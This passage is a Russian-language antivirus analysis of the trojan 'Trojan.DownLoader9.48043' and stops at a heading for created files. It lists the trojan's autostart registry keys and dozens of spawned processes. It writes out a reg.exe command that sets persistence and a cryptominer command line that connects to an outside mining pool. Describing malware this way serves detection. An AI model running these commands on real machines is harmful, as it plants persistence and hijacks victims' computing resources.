Trojan.DownLoader9.48043

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'AudioCard' = '%APPDATA%\AudioCard\AudioCard.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Windows Live' = '%TEMP%\AudioCard.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\AudioCard\SystemMange.exe' /pid=5588
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5768
'%APPDATA%\AudioCard\SystemMange.exe' /pid=6096
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5308
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3372
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5176
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2776
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2500
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5336
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5316
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3980
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4788
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4868
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5088
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3380
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4876
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4536
'%APPDATA%\AudioCard\SystemMange.exe' /pid=1800
'%APPDATA%\AudioCard\SystemMange.exe' /pid=416
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5688
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2032
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4896
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5968
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4908
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4128
'%APPDATA%\AudioCard\SystemMange.exe' /pid=464
'%APPDATA%\AudioCard\SystemMange.exe' /pid=6100
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5208
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5028
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5096
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2560
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4856
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2748
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2440
'%APPDATA%\AudioCard\SystemMange.exe' /pid=6068
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2660
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5036
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4756
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4220
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4716
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2880
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3692
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5836
'%APPDATA%\AudioCard\SystemMange.exe' /pid=2468
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4528
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4636
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4736
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4728
'%TEMP%\AudioCard.exe' cvtres.exe
'%APPDATA%\AudioCard\SystemMange.exe' -a sha256 -o http://18################tirUF9UD2FyiKNhP:x@getwork.mining.eligius.st:8337 -T 80 -l yes -t 2
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3880
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4436
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4888
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4656
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4768
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4228
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3092
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5788
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4328
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4836
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4120
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4448
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3472
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5268
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4168
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5128
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5396
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5796
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3212
'%APPDATA%\AudioCard\SystemMange.exe' /pid=3312
'%APPDATA%\AudioCard\SystemMange.exe' /pid=5108
'%APPDATA%\AudioCard\SystemMange.exe' /pid=4988
'%APPDATA%\AudioCard\SystemMange.exe' (загружен из сети Интернет)

Запускает на исполнение:

'<SYSTEM32>\reg.exe' /pid=2548
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Windows Live" /t REG_SZ /d "%TEMP%\AudioCard.exe

Изменения в файловой системе:

Создает следующие файлы: